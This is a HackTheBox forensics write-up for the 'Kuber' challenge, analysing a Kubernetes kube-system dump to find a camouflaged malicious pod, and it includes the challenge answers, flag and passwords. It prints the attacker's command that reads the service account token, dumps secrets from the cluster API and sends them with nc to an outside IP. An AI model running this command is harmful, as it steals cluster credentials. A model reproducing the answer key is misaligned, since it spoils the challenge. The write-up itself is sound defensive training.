



HACKTHEBOX

Kuber



04th February 2024

Prepared by: felamos

Machine Author(s): felamos

Difficulty: **Easy**

Scenario

As a digital forensics investigator, you received an urgent request from a client managing multiple proxy Kubernetes clusters. The client reports unusual behavior in one of their development environments, where they were testing a proxy via SSH. This environment was exposed to the internet, raising concerns about a potential security breach. You have been provided with a dump of the `kube-system` namespace, as most of the testing activity occurred there. Your task is to thoroughly analyze the data and determine if the system has been compromised.

Description

Kuber is an easy Sherlock designed to help you understand the structure of Kubernetes resources. You will learn to analyse resource dumps from a Kubernetes cluster, enabling you to identify malicious activities and assess potential attack vectors. Through this process, you will gain insights into how an attacker can compromise the cluster and escalate privileges to gain full access to the host system.

Artefacts provided

- Kuber.zip - a632a03355131c8c0d8a67bddd24e98

Skills Learnt

- Kubernetes resource configuration Analysis

Initial Analysis

To begin the analysis, the password-protected ZIP file was unlocked using the password `hacktheblue` .

We are given a zip file which we can extract using `unzip` command.

```
unzip -P hacktheblue Kuber.zip
Archive:  Kuber.zip
  creating: kube-system/
 inflating: kube-system/secrets.yaml
 inflating: kube-system/pods.yaml
 inflating: kube-system/deployment.yaml
 inflating: kube-system/job.yaml
 inflating: kube-system/serviceaccount.yaml
 inflating: kube-system/00-namespace.yaml
 inflating: kube-system/configmaps.yaml
 inflating: kube-system/service.yaml
 inflating: kube-system/daemonset.yaml
```

Looking at the logs it seems to be the kubernetes resources configuration dump from a live running kubernetes cluster. This is mostly used to save the state of the cluster and recreate it later in time, basically a backup.

When extracted we observe that zip contained multiple YAML config files which are from kubernetes so we will likely be dealing with YAMLs, in order to better navigate around the files we will make use of `yg` tool.

K8S Services

```
cat service.yaml | yq '.items[].metadata.name'
kube-dns
metrics-server
ssh-deployment
traefik
```

The tool allows us to look at the name of all services by piping and filtering contents. The first one we are targeting is `services.yaml` which contains all the services that are running inside the cluster and as mentioned by our client ssh was exposed to the internet and here we see and confirm that there is a `ssh-deployment` service running. Lets look more into it.

```
cat service.yaml | yq '.items[] | select(.metadata.name == "ssh-
deployment")'
apiVersion: v1
kind: Service
<SNIP>
  creationTimestamp: "2024-08-16T14:59:59Z"
  labels:
    app: ssh-deployment
    name: ssh-deployment
    namespace: kube-system
spec:
  clusterIP: 10.43.191.212
  clusterIPs:
    - 10.43.191.212
  externalTrafficPolicy: Cluster
  internalTrafficPolicy: Cluster
  ipFamilies:
    - IPv4
  ipFamilyPolicy: SingleStack
  ports:
    - nodePort: 31337
      port: 2222
      protocol: TCP
```

```
    targetPort: 2222
  selector:
    app: ssh-deployment
  sessionAffinity: None
  type: NodePort
status:
  loadBalancer: {}
```

According to the configuration ssh deployment is listening locally at port 2222 but exposed as a nodePort to 31337 . Normally nodePorts are randomised but here it is statically being set.

K8S Deployment

```
cat deployment.yaml | yq '.items[] | select(.metadata.name == "ssh-
deployment")'
apiVersion: apps/v1
kind: Deployment
metadata:
  annotations:
    <SNIP>
  creationTimestamp: "2024-08-16T14:58:57Z"
  generation: 1
  labels:
    app: ssh-deployment
  name: ssh-deployment
  namespace: kube-system
spec:
  <SNIP>
  spec:
    containers:
      - env:
          - name: PUID
            valueFrom:
              configMapKeyRef:
                key: PUID
```

```
        name: ssh-config
-   name: PGID
    valueFrom:
      configMapKeyRef:
        key: PGID
        name: ssh-config
-   name: TZ
    valueFrom:
      configMapKeyRef:
        key: TZ
        name: ssh-config
-   name: SUDO_ACCESS
    valueFrom:
      configMapKeyRef:
        key: SUDO_ACCESS
        name: ssh-config
-   name: PASSWORD_ACCESS
    valueFrom:
      configMapKeyRef:
        key: PASSWORD_ACCESS
        name: ssh-config
-   name: USER_NAME
    valueFrom:
      configMapKeyRef:
        key: USER_NAME
        name: ssh-config
-   name: USER_PASSWORD
    valueFrom:
      secretKeyRef:
        key: USER_PASSWORD
        name: ssh-secret
```

<SNIP>

Now when look at the deployment of the ssh-deployment we see multiple usecase of configmap which is a great way to store non-confidential data but we also observe that a secretKey is also being used to store a confidential data and in this case its a password which make sense. Lets look at the config map `ssh-config` .

```
cat configmaps.yaml | yq '.items[] | select(.metadata.name == "ssh-  
config")'  
apiVersion: v1  
data:  
  FLAG: HTB{1d2d2b861c5f8631f841b57f327f46f8}  
  PASSWORD_ACCESS: "true"  
  PGID: "1000"  
  PUID: "1000"  
  SUDO_ACCESS: "true"  
  TZ: Europe/London  
  USER_NAME: admin  
kind: ConfigMap  
<SNIP>
```

Upon examination of the configmap we see a flag including some information which are likely being used to provision the ssh-deployment. Lets look at the secretKey.

```
cat secrets.yaml | yq '.items[] | select(.metadata.name == "ssh-  
secret")'  
apiVersion: v1  
data:  
  USER_PASSWORD: U3VwZXJDcmF6eVBhc3N3b3JkMTIzIQ==  
<SNIP>
```

Indeed here we find a base64 password. Lets decode it.

```
echo U3VwZXJDcmF6eVBhc3N3b3JkMTIzIQ== | base64 -d  
SuperCrazyPassword123!
```

We have now decoded the password but it is still unclear how this system was compromised but we have established that one of the motive could be to read secrets. Lets go back to deployments and see if we find anything out of ordinary.

```
cat deployment.yaml | yq '.items[].metadata.name'
coredns
local-path-provisioner
metrics-server
ssh-deployment
traefik
```

K8S Pods

We know that coredns, traefik, metrics-server and local-path-provisioner are part of kubernetes itself and ssh-deployment is the service that is being created by the client. Lets see if attacker gain accessed and created any pods to steal data or to gain a reverse shell.

```
cat pods.yaml | yq '.items[].metadata.name'
coredns-576bfc4dc7-8smfq
helm-install-traefik-crd-9p2f5
helm-install-traefik-qnnmv
local-path-provisioner-6795b5f9d8-k6kk2
metrics-server-557ff575fb-4q62w
metrics-server-557ff575fx-4q62x
ssh-deployment-7798d8ff-47tlh
ssh-deployment-7798d8ff-pn7bk
ssh-deployment-7798d8ff-vkzfq
svclb-traefik-f7c6ca30-2h7wt
traefik-5fb479b77-j8kq9
```

Looking at all the pods we do not see anything out of ordinary but normally when a pod is created the first section is the name of the deployment and second being the id and third is always random which is not the case with metrics-server here as seen it has 2 ids. Lets go back to deployment look at metrics-server configurations.

```

cat deployment.yaml | yq '.items[] | select(.metadata.name ==
"metrics-server")' | yq '.status'
availableReplicas: 1
conditions:
  - lastTransitionTime: "2024-08-16T13:38:12Z"
    lastUpdateTime: "2024-08-16T13:38:12Z"
    message: Deployment has minimum availability.
    reason: MinimumReplicasAvailable
    status: "True"
    type: Available
  - lastTransitionTime: "2024-08-16T13:38:12Z"
    lastUpdateTime: "2024-08-16T13:38:43Z"
    message: ReplicaSet "metrics-server-557ff575fb" has successfully
progressed.
    reason: NewReplicaSetAvailable
    status: "True"
    type: Progressing
observedGeneration: 1
readyReplicas: 1
replicas: 1
updatedReplicas: 1

```

Looking at the configuration we see that it clearly states that this deployment have only one replica pod which is metrics-server-557ff575fb . Now from here we can assume that attack tried to camouflage malicious pod name with a default one. Lets look at the malicious pod.

```

cat pods.yaml | yq '.items[] | select(.metadata.name == "metrics-
server-557ff575fx-4q62x")'
apiVersion: v1
kind: Pod
<SNIP>
  creationTimestamp: "2024-08-16T15:00:06Z"
  name: metrics-server-557ff575fx-4q62x
  namespace: kube-system
spec:

```

```

    automountServiceAccountToken: true
  containers:
    - args:
        - -c
        - 'apk update && apk add curl --no-cache; cat
/run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -
k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type:
application/json" https://10.43.191.212:8443/api/v1/namespaces/kube-
system/secrets; } | nc -nv 10.10.14.11 4444; sleep 100000'
      command:
        - /bin/sh
      image: alpine
      imagePullPolicy: Always
      name: alpine
<SNIP>
<SNIP>
      image: docker.io/library/alpine:latest
      imageID:
docker.io/library/alpine@sha256:0a4eaa0eecf5f8c050e5bba433f58c052be758
7ee8af3e8b3910ef9ab5fbe9f5
<SNIP>
      state:
        running:
          startedAt: "2024-08-16T15:00:10Z"
<SNIP>
      startTime: "2024-08-16T15:00:06Z">

```

Here we see that attacker is using alpine image to try to get token from the pod and hitting the cluster API to dump all secrets on kube-system namespace and sending it back to their IP which is 10.10.14.11 on port 4444.

Reverse shell

```
apk update &&
apk add curl --no-cache;
cat /run/secrets/kubernetes.io/serviceaccount/token |
{ read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H
"Content-Type:
application/json"https://localhost:8443/api/v1/namespaces/kube-
system/secrets; } |
nc -nv 10.10.14.11 4444; sleep 100000
```

Questions

1. **At which NodePort is the `ssh-deployment` Kubernetes service exposed for external access?**

Question wants to know which NodePort is being used for exposing the service.

Looking at the services yaml file we can see that one of the service is exposing the said deployment

Answer: 31337

2. **What is the ClusterIP of the kubernetes cluster?**

NodePort builds on top of the ClusterIP so the IP can be found inside services yaml

Answer: 10.43.191.212

3. **What is the value of the FLAG data inside ssh-config configmap?**

Configmap is an API object used to store non-confidential data in key-value pairs, if we look at the ssh-config configmap we can see flag key-value pair.

Answer: HTB{1d2d2b861c5f8631f841b57f327f46f8}

4. **What is the value of password (in plaintext) which is found inside ssh-deployment via secret?**

There is a chain to this, deployment refers secret which in our case is `ssh-secret`, we can simply read `USER_PASSWORD` value and decode the base64 which will reveal our password.

Answer: SuperCrazyPassword123!

5. **What is the name of the malicious pod?**

Malicious actor camouflages the name of the pod which is a real service which is `metrics-server` in our case.

Answer: `metrics-server-557ff575fx-4q62x`

6. **What is the image attacker is using to create malicious pod?**

Inspecting the malicious pod reveals which image is the pod using.

Answer: `alpine`

7. **IP Address of the malicious actor**

If we look at the cmdline and argument of the pod, it will reveal a reverse shell connection to attack IP.

Answer: `10.10.14.11`